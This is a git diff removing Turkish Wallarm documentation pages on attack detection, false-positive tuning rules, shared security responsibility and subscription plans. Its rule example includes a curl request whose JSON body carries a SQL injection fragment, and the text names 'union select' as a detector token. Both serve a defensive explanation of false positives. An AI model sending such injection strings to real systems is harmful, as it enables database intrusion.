            - -**Saldırı**, aşağıdaki özelliklere göre gruplanmış tek bir hit veya birden fazla hit'tir: - -* Aynı saldırı türü, kötü amaçlı payload içeren parametre ve hit'lerin gönderildiği adres. Hit'ler aynı veya farklı IP adreslerinden gelebilir ve tek bir saldırı türü içinde kötü amaçlı payload değerleri farklı olabilir. Yeni hit, son hit'ten itibaren bir saat içinde gelmelidir - aksi halde ayrı bir saldırıya gidecektir. - - Bu hit gruplama yöntemi temeldir ve tüm hit'lere uygulanır. - -* [Hit'lerin kaynak IP'ye göre gruplanması](../user-guides/events/grouping-sampling.md#grouping-of-hits) etkinse aynı kaynak IP adresi. Diğer hit parametre değerleri farklı olabilir. - - Bu hit gruplama yöntemi, Brute force, Forced browsing, BOLA (IDOR), Resource overlimit, Data bomb ve Virtual patch saldırı türleri dışındaki tüm hit'ler için çalışır. - - Hit'ler bu yöntemle gruplanıyorsa, saldırı için [**Mark as false positive**](../user-guides/events/check-attack.md#false-positives) düğmesi kullanılamaz. - -Listelenen hit gruplama yöntemleri birbirini dışlamaz. Hit'ler her iki yöntemin de özelliklerine sahipse, hepsi tek bir saldırıda gruplanır. - -**Hit**, serileştirilmiş kötü amaçlı bir istektir (orijinal kötü amaçlı istek ve Wallarm node tarafından eklenen meta veriler). Wallarm, tek bir istekte farklı türlerde birden çok kötü amaçlı payload tespit ederse, her birinde tek bir türde payload olacak şekilde birden fazla hit kaydeder. - -**Kötü amaçlı payload**, orijinal isteğin aşağıdaki öğeleri içeren kısmıdır: - -* Bir istekte tespit edilen saldırı işaretleri. Aynı saldırı türünü karakterize eden birden çok saldırı işareti bir istekte tespit edilirse, yalnızca ilk işaret payload'a kaydedilir. -* Saldırı işaretinin bağlamı. Bağlam, tespit edilen saldırı işaretlerinin öncesindeki ve sonrasındaki sembollerin kümesidir. Payload uzunluğu sınırlı olduğundan, bir saldırı işareti payload'un tamamını kaplıyorsa bağlam atlanabilir. - - Saldırı işaretleri [davranışsal saldırıları](../attacks-vulns-list.md#attack-types) tespit etmek için kullanılmadığından, davranışsal saldırıların bir parçası olarak gönderilen isteklerin payload'ları boştur. - -[Wallarm'da saldırıları nasıl analiz edeceğinizi öğrenin →](../user-guides/events/check-attack.md) - -## Korumalı kaynak türleri - -Wallarm node'ları korunan kaynaklara gönderilen HTTP ve WebSocket trafiğini analiz eder: - -* HTTP trafik analizi varsayılan olarak etkindir. - - Wallarm node'ları HTTP trafiğini [girdi doğrulama saldırıları](../attacks-vulns-list.md#attack-types) ve [davranışsal saldırılar](../attacks-vulns-list.md#attack-types) için analiz eder. -* WebSocket trafik analizi ek olarak [`wallarm_parse_websocket`](../admin-en/configure-parameters-en.md#wallarm_parse_websocket) yönergesiyle etkinleştirilmelidir. - - Wallarm node'ları WebSocket trafiğini yalnızca [girdi doğrulama saldırıları](../attacks-vulns-list.md#attack-types) için analiz eder. - -Korumalı kaynağın API'si aşağıdaki teknolojilere dayanabilir (WAAP [abonelik planı](subscription-plans.md#core-subscription-plans) kapsamında sınırlıdır): - -* GraphQL -* gRPC -* WebSocket -* REST API -* SOAP -* XML-RPC -* WebDAV -* JSON-RPC - - -## Saldırı işleme süreci - -Saldırıları tespit etmek ve işlemek için Wallarm aşağıdaki süreci kullanır: - -1. İsteğin hiç işlenip işlenmeyeceğini anlamak için [IP listelerini](../user-guides/ip-lists/overview.md) kontrol eder. Denylist isteği engeller, allowlist izin verir - her ikisi de daha fazla analiz olmadan. -1. İstek formatını belirler ve [ayrıştırır](../user-guides/rules/request-processing.md); her istek parçasına [temel dedektörleri](#basic-set-of-detectors) uygulamak için. -1. İsteğin yönlendirildiği uç noktayı belirler, [özel kuralları](#custom-rules)/[mitigation controls](#mitigation-controls) ve [specific module settings](#specific-module-settings) uygular ve [filtreleme modunu](../admin-en/configure-wallarm-mode.md) anlar. -1. Temel dedektörler, özel kurallar ve belirli modül ayarlarına dayanarak isteğin bir saldırının parçası olup olmadığına karar verir. -1. Karar ve filtreleme moduna uygun olarak isteği işler. - -![Saldırı işleme süreci - diyagram](../images/about-wallarm-waf/overview/attack-handling-diagram.png) - -Kuralların, mitigation controls, ayarların ve filtreleme modunun üst uç noktadan veya [uygulamadan](../user-guides/settings/applications.md) devralınabileceğini unutmayın. Daha spesifik olan önceliklidir. - -## Saldırı tespiti için araçlar - -Saldırıları tespit etmek için Wallarm, korunan kaynağa gönderilen tüm istekleri aşağıdaki araçları kullanarak [analiz eder](#attack-handling-process): - -* [Temel dedektör seti](#basic-set-of-detectors) -* [Özel kurallar](#custom-rules) / [mitigation controls](#mitigation-controls) -* [Belirli modül ayarları](#specific-module-settings) - - -### Temel dedektör seti - -Wallarm, farklı saldırı türü işaretlerini token dizileri olarak belirlemek için Wallarm tarafından geliştirilen (**libproton**) temel dedektör setini kullanır; örneğin: [SQL injection saldırı türü](../attacks-vulns-list.md#sql-injection) için `union select`. İstek, setteki diziyle eşleşen bir token dizisi içeriyorsa, bu istek ilgili türde bir saldırı olarak kabul edilir. - -Wallarm, yeni saldırı türleri ve halihazırda tanımlanmış saldırı türleri için dedektörler (token dizileri) listesini düzenli olarak günceller. - -Wallarm ayrıca SQL injection saldırılarını Wallarm tarafından geliştirilen (**libdetection**) ile doğrular. [Yönetmeyi](../admin-en/configure-parameters-en.md#wallarm_enable_libdetection) görün. - - -### Özel kurallar - -Özel [kurallar](../user-guides/rules/rules.md), temel dedektör seti tarafından tanımlanan davranışı ince ayarlamak için kullanılır. Kullanıcılar bunları Wallarm Console içinde oluşturur ve kurallar kümesi filtreleme node'una yüklenir. - - -### Mitigation controls - -[Mitigation controls](../about-wallarm/mitigation-controls-overview.md), Wallarm'ın saldırı korumasını ek güvenlik önlemleriyle genişletir ve Wallarm davranışının ince ayarına olanak tanır. - - -### Belirli modül ayarları - -Temel dedektörler veya özel kurallarla karşılaştırmanın yanı sıra, istekler şu gibi farklı koruma araçlarının sağladığı ayarlara göre de kontrol edilir: - -* [API Abuse Prevention](../api-abuse-prevention/overview.md) -* [API Specification Enforcement](../api-specification-enforcement/overview.md) -* [Credential Stuffing](../about-wallarm/credential-stuffing.md) -* [Tetikleyici tabanlı koruma önlemleri](../user-guides/triggers/triggers.md#what-you-can-do-with-triggers) - -Bu araçlardan herhangi biri, belirli bir saldırı veya zafiyet tespitine ve isteğin engellenmesine neden olabilir. - -## Belirli saldırı türlerini yok sayma - -**Belirli saldırı türlerini yok say** kuralı, belirli istek öğelerinde belirli saldırı türlerinin tespitini devre dışı bırakmaya izin verir. - -Varsayılan olarak, Wallarm node'u herhangi bir istek öğesinde herhangi bir saldırı türüne ait işaretler tespit ederse isteği bir saldırı olarak işaretler. Ancak, saldırı işaretleri içeren bazı istekler aslında meşru olabilir (ör. Veritabanı Yöneticisi Forumunda gönderi yayınlayan isteğin gövdesi, [kötü amaçlı SQL komutu](../attacks-vulns-list.md#sql-injection) açıklamasını içerebilir). - -Wallarm node'u isteğin standart payload'unu kötü amaçlı olarak işaretlerse bir [yanlış pozitif](#false-positives) oluşur. Yanlış pozitifleri önlemek için, korunan API'nin özelliklerine uyum sağlamak üzere belirli türde özel kurallar kullanılarak standart saldırı tespit kurallarının ayarlanması gerekir. Wallarm bunu yapmak için **Belirli saldırı türlerini yok say** [kuralını](../user-guides/rules/rules.md) sağlar. - -**Kuralın oluşturulması ve uygulanması** - ---8<-- "../include/rule-creation-initial-step.md" -1. Fine-tuning attack detection → Ignore certain attacks öğelerini seçin. -1. **If request is** bölümünde, kuralın uygulanacağı kapsamı [tanımlayın](../user-guides/rules/rules.md#configuring). -1. Yalnızca belirli saldırıların işaretlerinin (bunları seçin) mı yoksa tüm saldırıların işaretlerinin mi yok sayılacağını belirleyin. -1. **In this part of request** bölümünde, kuralı uygulamak istediğiniz istek noktalarını belirtin. - - Mevcut tüm noktalar [burada](../user-guides/rules/request-processing.md) açıklanmıştır; özel kullanım durumunuza uyanları seçebilirsiniz. - -1. [Kural derlemesinin tamamlanmasını](../user-guides/rules/rules.md#ruleset-lifecycle) bekleyin. - -**Kural örneği** - -Diyelim ki kullanıcı, veritabanı yöneticisi forumunda gönderinin yayınlanmasını onayladığında, istemci `https://example.com/posts/` uç noktasına bir POST isteği gönderiyor. Bu isteğin aşağıdaki özellikleri vardır: - -* Gönderi içeriği, istek gövdesindeki `postBody` parametresiyle iletilir. Gönderi içeriği, Wallarm tarafından kötü amaçlı olarak işaretlenebilecek SQL komutlarını içerebilir. -* İstek gövdesi `application/json` türündedir. - -[SQL injection](../attacks-vulns-list.md#sql-injection) içeren cURL isteği örneği: - -```bash -curl -H "Content-Type: application/json" -X POST https://example.com/posts -d '{"emailAddress":"johnsmith@example.com", "postHeader":"SQL injections", "postBody":"My post describes the following SQL injection: ?id=1%20select%20version();"}' -``` - -Bu nedenle, `https://example.com/posts/` adresine yapılan isteklerin `postBody` parametresindeki SQL injection'ları yok saymanız gerekir. - -Bunu yapmak için, **Belirli saldırı türlerini yok say** kuralını ekrandaki ekran görüntüsünde gösterildiği gibi ayarlayın: - -![“Belirli saldırı türlerini yok say” kuralı örneği](../images/user-guides/rules/ignore-attack-types-rule-example.png) - ---8<-- "../include/waf/features/rules/request-part-reference.md" - -## İkili veride belirli saldırı işaretlerini yok sayma - -Varsayılan olarak, Wallarm node'u gelen istekleri bilinen tüm saldırı işaretleri için analiz eder. Analiz sırasında, Wallarm node'u saldırı işaretlerini normal ikili semboller olarak değerlendirmeyebilir ve ikili veride yanlışlıkla kötü amaçlı payload'lar tespit edebilir. - -**Allow binary data** [kuralını](../user-guides/rules/rules.md) kullanarak, ikili veri içeren istek öğelerini açıkça belirtebilirsiniz. Belirtilen istek öğesinin analizi sırasında, Wallarm node'u ikili veri içinde asla iletilemeyecek saldırı işaretlerini yok sayacaktır. - -* **Allow binary data** kuralı, ikili veri (ör. arşivlenmiş veya şifrelenmiş dosyalar) içeren istek öğeleri için saldırı tespitinin ince ayarını yapmanıza olanak tanır. - -**Kuralın oluşturulması ve uygulanması** - ---8<-- "../include/rule-creation-initial-step.md" -1. Fine-tuning attack detection → Binary data processing öğelerini seçin. -1. **If request is** bölümünde, kuralın uygulanacağı kapsamı [tanımlayın](../user-guides/rules/rules.md#configuring). -1. **In this part of request** bölümünde, kuralı uygulamak istediğiniz istek noktalarını belirtin. - - Mevcut tüm noktalar [burada](../user-guides/rules/request-processing.md) açıklanmıştır; özel kullanım durumunuza uyanları seçebilirsiniz. - -1. [Kural derlemesinin tamamlanmasını](../user-guides/rules/rules.md#ruleset-lifecycle) bekleyin. - -**Kural örneği** - -Diyelim ki kullanıcı, sitedeki formu kullanarak ikili dosya içeren bir görsel yüklediğinde, istemci `multipart/form-data` türünde bir POST isteğini `https://example.com/uploads/` adresine gönderir. İkili dosya, gövde parametresi `fileContents` içinde iletilir ve bunu izinli hale getirmeniz gerekir. - -Bunu yapmak için, **Allow binary data** kuralını ekran görüntüsünde gösterildiği gibi ayarlayın: - -![“Allow binary data” kuralı örneği](../images/user-guides/rules/ignore-binary-attacks-example.png) - ---8<-- "../include/waf/features/rules/request-part-reference.md" - - -## Saldırıların izlenmesi ve engellenmesi - -**Girdi doğrulama saldırıları** - -Wallarm, [girdi doğrulama saldırılarını](../attacks-vulns-list.md#attack-types) aşağıdaki modlarda işleyebilir: - -* İzleme modu: saldırıları tespit eder ancak engellemez. -* Safe blocking modu: saldırıları tespit eder, ancak yalnızca [graylisted IP'lerden](../user-guides/ip-lists/overview.md) kaynaklananları engeller. Graylisted IP'lerden gelen meşru istekler engellenmez. -* Engelleme modu: saldırıları tespit eder ve engeller. - -Farklı filtreleme modlarının nasıl çalıştığı ve filtreleme modunun genel olarak ve belirli uygulamalar, alan adları veya uç noktalar için nasıl yapılandırılacağına ilişkin ayrıntılı bilgi [burada](../admin-en/configure-wallarm-mode.md) mevcuttur. - -**Davranışsal saldırılar** - -Wallarm'ın [davranışsal saldırıları](../attacks-vulns-list.md#attack-types) nasıl tespit ettiği ve tespit durumunda nasıl davrandığı, filtreleme modu tarafından değil, bu saldırı türü korumasının [belirli yapılandırması](#specific-module-settings) tarafından tanımlanır. - - -## Yanlış pozitifler - -**Yanlış pozitif**, meşru bir istekte saldırı işaretleri tespit edildiğinde veya meşru bir varlık zafiyet olarak nitelendirildiğinde ortaya çıkar. [Zafiyet taramasında yanlış pozitiflerle ilgili daha fazla bilgi →](detecting-vulnerabilities.md#false-positives) - -İstekleri saldırılar açısından analiz ederken, Wallarm ultra düşük yanlış pozitiflerle optimum API koruması sağlayan standart bir kural seti kullanır. Korunan API'nin özellikleri nedeniyle standart kurallar, meşru isteklerde saldırı işaretlerini yanlışlıkla tanıyabilir. Örneğin: Veritabanı Yöneticisi Forumuna kötü amaçlı SQL sorgusu açıklaması içeren bir gönderi ekleyen istekte bir SQL injection saldırısı tespit edilebilir. - -Bu gibi durumlarda, standart kurallar korunan API'nin özelliklerine uyum sağlamak üzere aşağıdaki yöntemlerle ayarlanmalıdır: - -* Potansiyel yanlış pozitifleri (tüm saldırıları [`!known` etiketi](../user-guides/search-and-filters/use-search.md#search-by-known-attacks-cve-and-wellknown-exploits) ile filtreleyerek) analiz edin ve yanlış pozitifleri doğruluyorsanız belirli saldırıları veya hits öğelerini uygun şekilde [işaretleyin](../user-guides/events/check-attack.md#false-positives). Wallarm, aynı isteklerin tespit edilen saldırı işaretleri için analizini devre dışı bırakan kuralları otomatik olarak oluşturacaktır. -* Belirli isteklerde [belirli saldırı türlerinin tespitini devre dışı bırakın](../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-types). -* [İkili veride belirli saldırı işaretlerinin tespitini devre dışı bırakın](../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-signs-in-the-binary-data). -* [İsteklere yanlışlıkla uygulanan ayrıştırıcıları devre dışı bırakın](../user-guides/rules/request-processing.md#managing-parsers). - -Yanlış pozitifleri belirlemek ve ele almak, API'lerinizi korumak için Wallarm'ın ince ayarının bir parçasıdır. İlk Wallarm node'unu izleme [modunda](#monitoring-and-blocking-attacks) dağıtmanızı ve tespit edilen saldırıları analiz etmenizi öneririz. Bazı saldırılar yanlışlıkla saldırı olarak tanınıyorsa onları yanlış pozitif olarak işaretleyin ve filtreleme node'unu engelleme moduna geçirin. - -## Wallarm UI'da Saldırılar - -Wallarm, tespit edilen tüm saldırıları ve bunlara ilişkin ayrıntıları gösteren kapsamlı bir kullanıcı arayüzü sunar. Hızlı görselleştirme için saldırı panolarını kullanabilir ve kendi özel bildirimlerinizi ayarlayabilirsiniz. - -Ayrıntılar için [Saldırı Analizi](../user-guides/events/check-attack.md) makalesine bakın. - -![Saldırı görünümü](../images/user-guides/events/check-attack.png) - - \ No newline at end of file diff --git a/docs/latest-tr/about-wallarm/shared-responsibility.md b/docs/latest-tr/about-wallarm/shared-responsibility.md deleted file mode 100644 index 01cc200a0e..0000000000 --- a/docs/latest-tr/about-wallarm/shared-responsibility.md +++ /dev/null @@ -1,70 +0,0 @@ -[link-deployment-se]: ../installation/security-edge/overview.md -[link-deployment-hybrid]: ../installation/supported-deployment-options.md - -# Müşteri Verileri için Paylaşılan Sorumluluk - -Wallarm, paylaşılan sorumluluk güvenlik modeline dayanır. Bu modelde, tüm tarafların (Wallarm ve müşterileri) müşteri verilerinin güvenliği söz konusu olduğunda, kişisel olarak tanımlanabilir bilgiler (PII) ve kart sahibi verileri dahil olmak üzere farklı sorumluluk alanları vardır. - -## Genel Bakış - -Wallarm'ın iki ana bileşeni vardır: **Wallarm filtering node** ve **Wallarm Cloud**. Genel açıklamalarını [burada](../about-wallarm/overview.md#how-wallarm-works) görebilirsiniz. Bu bileşenler, Wallarm ile müşterinin sorumluluklarının farklı şekilde paylaşıldığı iki formdan biriyle dağıtılabilir: - ---8<-- "../include/deployment-forms.md" - -![Sorumluluklar şeması](../images/shared-responsibility-variants.png) - -## Security Edge - -Bu dağıtım biçiminde, hem Wallarm filtering node'lar hem de Wallarm Cloud bileşenleri Wallarm tarafından yönetilir; dolayısıyla sorumlulukların çoğu Wallarm tarafındadır. - -**Wallarm'ın sorumlulukları** - -* Wallarm bulut ortamlarının güvenliği ve erişilebilirliği, Wallarm filtering node kodunun güvenliği ve Wallarm'ın dahili sistemlerinin güvenliği. - - Buna şunlar dahildir ancak bunlarla sınırlı değildir: sunucu düzeyinde yamalama, Wallarm bulut hizmetini sunmak için gerekli hizmetlerin işletilmesi, zafiyet testleri, güvenlik olaylarının günlüklenmesi ve izlenmesi, olay yönetimi, operasyonel izleme ve 7/24 destek. Wallarm ayrıca Wallarm bulut ortamlarının sunucu ve çevre güvenlik duvarı yapılandırmalarını (güvenlik grupları) yönetmekten sorumludur. - -* [Edge Inline Node](../installation/security-edge/inline/upgrade-and-management.md#upgrading-the-edge-inline) veya [Edge Connector Node](../installation/security-edge/se-connector.md#upgrading-the-edge-node) bileşenlerinin [periyodik olarak](../updating-migrating/versioning-policy.md) yükseltilmesi. -* Talep edilmesi halinde en son Wallarm SOC 2 Type II denetim raporunun bir kopyasının sağlanması. -* Wallarm tarafından sunulan hizmetlerin sürekliliğine yardımcı olacak bir iş sürekliliği ve felaket kurtarma planının (BCDRP) geliştirilmesi ve gerekli olduğunda uygulanması. - -**Müşteri sorumlulukları** - -* Wallarm'ın hizmetleriyle ilişkili herhangi bir esaslı fonksiyon veya faaliyette daha önce yer almış ve iş akdi sonlandırılmış kullanıcıların kullanıcı hesaplarının kaldırılmasını uygulamak. -* Wallarm tarafından gerçekleştirilen hizmetlerle doğrudan ilgili personeldeki değişiklikleri zamanında Wallarm’a bildirmek. Bu personel, Wallarm tarafından sağlanan hizmetlerle doğrudan ilişkili finansal, teknik veya yardımcı idari işlevlerde görev alabilir. - -## Hibrit - -Bu dağıtım biçiminde, Wallarm müşterileri Wallarm filtering node'ları dağıtır ve yönetir; Wallarm ise Wallarm Cloud bileşenini yönetir; dolayısıyla sorumluluklar eşit şekilde paylaşılır. - -**Wallarm'ın sorumlulukları** - -* Wallarm bulut ortamlarının güvenliği ve erişilebilirliği, Wallarm filtering node kodunun güvenliği ve Wallarm'ın dahili sistemlerinin güvenliği. -* Wallarm filtering node bileşeninin [periyodik olarak](../updating-migrating/versioning-policy.md) güncellenmesi. Bu güncellemelerin uygulanmasının müşterinin sorumluluğunda olduğunu lütfen unutmayın. -* Talep edilmesi halinde en son Wallarm SOC 2 Type II denetim raporunun bir kopyasının sağlanması. - -**Müşteri sorumlulukları** - -Wallarm müşterileri aşağıdaki hususlardan sorumludur: - -* Wallarm ile ilişkili tüm dahili bileşenler (Wallarm filtering node ve Wallarm Cloud dahil) için genel BT sistemi erişimi ve sistem kullanımının uygunluğuna yönelik sağlam ve tutarlı iç kontrollerin uygulanması. - -* Wallarm’ın hizmetleriyle ilişkili herhangi bir esaslı fonksiyon veya faaliyette daha önce yer almış ve iş akdi sonlandırılmış kullanıcıların kullanıcı hesaplarının kaldırılmasını uygulamak. - -* Müşterinin güvenlik çevresini terk edebilecek ve tespit edilen kötü amaçlı isteklerin raporlanmasının bir parçası olarak Wallarm Cloud'a gönderilen hassas veriler için uygun [veri maskeleme kurallarını](../user-guides/rules/sensitive-data-rule.md) yapılandırmak. - -* Wallarm’ın hizmetleriyle ilgili müşteri kuruluşlarına ait işlemlerin uygun şekilde yetkilendirildiğini ve işlemlerin güvenli, zamanında ve eksiksiz olduğunu sağlamak. - -* Wallarm tarafından gerçekleştirilen hizmetlerle doğrudan ilgili personeldeki değişiklikleri zamanında Wallarm’a bildirmek. Bu personel, Wallarm tarafından sağlanan hizmetlerle doğrudan ilişkili finansal, teknik veya yardımcı idari işlevlerde görev alabilir. - -* Wallarm tarafından yayımlanan yeni yazılım güncellemeleriyle filtering node'ları zamanında güncellemek. - -* Wallarm tarafından sunulan hizmetlerin sürekliliğine yardımcı olacak bir iş sürekliliği ve felaket kurtarma planının (BCDRP) geliştirilmesi ve gerekli olduğunda uygulanması. - -## Wallarm Cloud'da Müşteri Verilerinin Depolanması - -Filtering node'lardan gönderilen tüm veriler, tamamen Wallarm tarafından yönetilen Wallarm Cloud'da depolanır: - -* İstek ve saldırı verileri PostgreSQL veritabanında saklanır; ilişkili içerik Google Cloud Storage (S3 ile uyumlu) üzerinde kalıcı hale getirilir ve performans için Redis'te önbelleğe alınır. Google Cloud dışındaki üçüncü taraf hizmetler kullanılmaz. -* Tüm depolama, Wallarm’ın güvenli altyapısının bir parçası olarak Google Cloud Platform üzerinde barındırılır. -* GCP, GDPR ve diğer uluslararası veri koruma standartlarına uygundur; bu da veri güvenliği ve gizliliğini sağlar. -* Wallarm, verilerin tercih edilen yargı bölgeleri içinde kalmasını sağlamak için birden fazla [bölgede](overview.md#cloud) (ABD ve AB) dağıtımı destekler. \ No newline at end of file diff --git a/docs/latest-tr/about-wallarm/subscription-plans.md b/docs/latest-tr/about-wallarm/subscription-plans.md deleted file mode 100644 index a14bacdd5c..0000000000 --- a/docs/latest-tr/about-wallarm/subscription-plans.md +++ /dev/null @@ -1,120 +0,0 @@ -# Wallarm Abonelik Planları - -Wallarm, çoklu bulut, buluta özgü ve kendi kendine barındırılan ortamlarda tüm API portföyünüzü korumak için API keşfini, risk yönetimini, gerçek zamanlı korumayı ve test yeteneklerini birleştiren tek çözümdür. İhtiyaçlarınıza en uygun işlev setini kolayca seçebilirsiniz. - -## Temel abonelik planları - -**Cloud Native WAAP** - WAAP (Web Application & API Protection) aboneliği, web uygulamalarını ve API’leri SQLi, XSS, kaba kuvvet (brute force) vb. gibi yaygın tehditlere karşı korur. Tüm API protokollerini destekler ancak bazı spesifik API tehditlerini kapsamaz. - -**WAAP + Advanced API Security**. Bu paket, genel WAAP yeteneklerini, OWASP API Top-10 tehditlerinin tümünü kapsayacak kapsamlı API Security araçlarıyla güçlendirir. - -**Security Testing**. Bu paket, saldırganlardan önce uygulamalarınızdaki ve API’lerinizdeki güvenlik açıklarını proaktif olarak ortaya çıkarmanıza yardımcı olur. - -| Özellik | WAAP | WAAP + API Security | Security Testing | -| ------- | ----------------- | --------------------- | --------------------- | -| **Gerçek zamanlı koruma** | | | | -| [DDoS koruması (L7)](../admin-en/configuration-guides/protecting-against-ddos.md) | Evet | Evet | Hayır | -| [Coğrafi/kaynak filtreleme](../user-guides/ip-lists/overview.md) | Evet | Evet | Hayır | -| [IP itibar beslemeleri](../user-guides/ip-lists/overview.md#malicious-ip-feeds) | Evet | Evet | Hayır | -| [Saldırı damgaları (SQLi, XSS, SSRF, vb.)](../attacks-vulns-list.md#attack-types) | Evet | Evet | Hayır | -| [Müşteri tanımlı imzalar](../user-guides/rules/regex-rule.md) | Evet | Evet | Hayır | -| [Sanal yamalama](../user-guides/rules/vpatch-rule.md) | Evet | Evet | Hayır | -| [Kaba kuvvet koruması](../admin-en/configuration-guides/protecting-against-bruteforce.md) | Evet | Evet | Hayır | -| [Forced browsing’e karşı koruma](../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) | Evet | Evet | Hayır | -| [Dağıtık hız sınırlama](../user-guides/rules/rate-limiting.md) | Evet | Evet | Hayır | -| [BOLA koruması](../admin-en/configuration-guides/protecting-against-bola.md) | Manuel tetikleyiciler | Otomatik koruma | Hayır | -| [API Abuse Prevention (bot yönetimi)](../api-abuse-prevention/overview.md) | Hayır | Evet | Hayır | -| [Credential Stuffing Detection](../about-wallarm/credential-stuffing.md) | Hayır | Evet | Hayır | -| [API Specification Enforcement](../api-specification-enforcement/overview.md) | Hayır | Evet | Hayır | -| [GraphQL güvenlik politikaları](../api-protection/graphql-rule.md) | Hayır | Evet | Hayır | -| [Numaralandırma saldırısına karşı koruma](../api-protection/enumeration-attack-protection.md) | Hayır | Evet | Hayır | -| [Mitigation kontrolleri](../about-wallarm/mitigation-controls-overview.md) | Hayır | Evet | Hayır | -| **Güvenlik duruşu** | | | | -| [API Attack Surface Management (AASM)](../api-attack-surface/overview.md) | Hayır | Evet | Hayır | -| [Zafiyet değerlendirmesi](../user-guides/vulnerabilities.md) | Evet | Evet | Hayır | -| [API Sessions](../api-sessions/overview.md) | Hayır | Evet | Hayır | -| [API Discovery](../api-discovery/overview.md) | Hayır | Evet | Hayır | -| [Hassas veri tespiti](../api-discovery/overview.md#sensitive-data-detection) | Hayır | Evet | Hayır | -| [Rogue API Detection (shadow, orphan zombie)](../api-discovery/rogue-api.md) | Hayır | Evet | Hayır | -| **Güvenlik testi** | | | | -| [Threat Replay Testing](../vulnerability-detection/threat-replay-testing/overview.md) | Hayır | Evet | Evet, API Security ile | -| [Schema-Based Security Testing](../vulnerability-detection/schema-based-testing/overview.md) | Hayır | Hayır | Evet | -| **Ek seçenekler** | | | | -| [Self-hosted Node kurulumu](../installation/supported-deployment-options.md) | Tümü | Tümü | Hayır | -| [Security Edge](../installation/security-edge/overview.md) | Hayır | Hayır | Hayır | -| [Entegrasyonlar](../user-guides/settings/integrations/integrations-intro.md) | Tümü | Tümü | Tümü | -| [Kullanıcı sayısı](../user-guides/settings/users.md) | Sınırsız | Sınırsız | Sınırsız | -| [SSO kimlik doğrulaması](../admin-en/configuration-guides/sso/intro.md) | Evet | Evet | Evet | -| [Rol tabanlı erişim denetimi (RBAC)](../user-guides/settings/users.md#user-roles) | Evet | Evet | Evet | -| [Çok kiracılı](../installation/multi-tenant/overview.md) | Evet (talep üzerine) | Evet (talep üzerine) | Evet (talep üzerine) | -| Olay saklama süresi | 6 ay | 6 ay | 6 ay | -| Destek | Standard/
            Advanced/
            Platinum | Standard/
            Advanced/
            Platinum | Standard/
            Advanced/
            Platinum | - -Abonelik planını etkinleştirmek için [sales@wallarm.com](mailto:sales@wallarm.com) ile iletişime geçin. - -## API Attack Surface - -!!! info "Diğer planlarla ilişkisi" - - Bu abonelik planı: - - * [Advanced API Security](#core-subscription-plans) planına dahildir - * [Cloud Native WAAP](#core-subscription-plans) planına eklenebilir - * Tek başına kullanılabilir (başka plan veya filtreleme Node'u gerekmez) - -**API Attack Surface** abonelik planı, **sıfır kurulum** ve minimum yapılandırma ile herkese açık olarak maruz kalan API’lere ve ilgili bilgilere kapsamlı bir görünüm sunar. - -Abonelik planı, aşağıdakileri içeren [API Attack Surface Management (AASM)](../api-attack-surface/overview.md) ürününü sağlar: - -* [API Attack Surface Discovery](../api-attack-surface/api-surface.md) -* [Security Issues Detection](../api-attack-surface/security-issues.md) - -Abonelik planını etkinleştirmek için aşağıdakilerden birini yapın: - -* Henüz Wallarm hesabınız yoksa, fiyat bilgisi almak ve AASM’yi etkinleştirmek için Wallarm’ın resmi sitesini [buradan](https://www.wallarm.com/product/aasm) ziyaret edin. - - Etkinleştirme sırasında, satış ekibiyle görüşmeler devam ederken kullandığınız e-postanın etki alanının taranması hemen başlar. Etkinleştirmeden sonra kapsama alanına ek etki alanları ekleyebilirsiniz. - -* Zaten Wallarm hesabınız varsa, [sales@wallarm.com](mailto:sales@wallarm.com) ile iletişime geçin. - -## Security Edge (Ücretli Plan) - -!!! info "Diğer planlarla ilişkisi" - - Bu abonelik planı: - - * [Cloud Native WAAP](#core-subscription-plans) veya [Advanced API Security](#core-subscription-plans) planına eklenebilir - * Tek başına kullanılamaz - -Security Edge abonelik planı, Wallarm node’unu yönetilen ortamda dağıtmanıza olanak tanır; bu da yerinde kurulum ve yönetim ihtiyacını ortadan kaldırır. - -Node barındırma ve bakımını Wallarm üstlendiğinde, güçlü trafik filtreleme, saldırı tespiti ve güvenli iletişimin avantajlarından yararlanırken temel altyapınıza odaklanabilirsiniz — tümü Wallarm tarafından desteklenir. - -Mevcut Security Edge dağıtımları şunları içerir: - -* [Security Edge Inline](../installation/security-edge/inline/overview.md) -* [Security Edge Connectors](../installation/security-edge/se-connector.md) - -Bu abonelik hakkında bilgi almak için lütfen [sales@wallarm.com](mailto:sales@wallarm.com) ile iletişime geçin. - -## Security Edge Free Tier - -Daha küçük şirketler ve eğitim amaçları için Wallarm, [Security Edge](#security-edge-paid-plan) Free Tier hesabını kendiniz oluşturma seçeneği sunar. Depolama tercihlerinize en uygun Wallarm cloud’u seçebilirsiniz: - -* [US Wallarm Cloud üzerinde Free Tier hesap oluşturun](https://us1.my.wallarm.com/signup) -* [EU Wallarm Cloud üzerinde Free Tier hesap oluşturun](https://my.wallarm.com/signup) - -Security Edge Free Tier hesabı şunlara izin verir: - -* Bazı özellik kısıtlarıyla Security Edge işlevselliği. -* Zaman sınırlaması olmadan ayda **500 bin isteğe** kadar işleme. -* Aşağıdakiler hariç olmak üzere [Advanced API Security](#core-subscription-plans) olarak Wallarm platformuna erişim: - - * [Zafiyet değerlendirmesi](../user-guides/vulnerabilities.md) - * [API Abuse Prevention](../api-abuse-prevention/overview.md) - * Security Edge’in telemetri portalı - * Çoklu bulutta Security Edge kurulumu - -Bir Free Tier hesabı aylık kotanın %100’ünü aşarsa, Wallarm Console erişiminiz tüm entegrasyonlarla birlikte devre dışı bırakılır. %200’e ulaşıldığında, Wallarm node’larınızdaki koruma devre dışı bırakılır. Bu kısıtlamalar bir sonraki ayın ilk gününe kadar yürürlükte kalacaktır. - -Tüm kısıtlamaları kaldırmak için [sales@wallarm.com](mailto:sales@wallarm.com) ile iletişime geçin. \ No newline at end of file diff --git a/docs/latest-tr/about-wallarm/waap-overview.md b/docs/latest-tr/about-wallarm/waap-overview.md deleted file mode 100644 index 0f526fc221..0000000000 --- a/docs/latest-tr/about-wallarm/waap-overview.md +++ /dev/null @@ -1,37 +0,0 @@ -# Bulut-Doğal WAAP - -Wallarm Cloud-Native WAAP (Web Uygulaması ve API Koruması), herhangi bir müşteri ortamındaki uygulamalar ve API'ler için gelişmiş koruma sağlar. Wallarm'ın WAAP'i REST, SOAP, GraphQL ve diğerleri gibi birden çok API protokolünü destekler ve [OWASP Top 10](https://owasp.org/www-project-top-ten/) ve daha fazlasını tam kapsam altına almak için 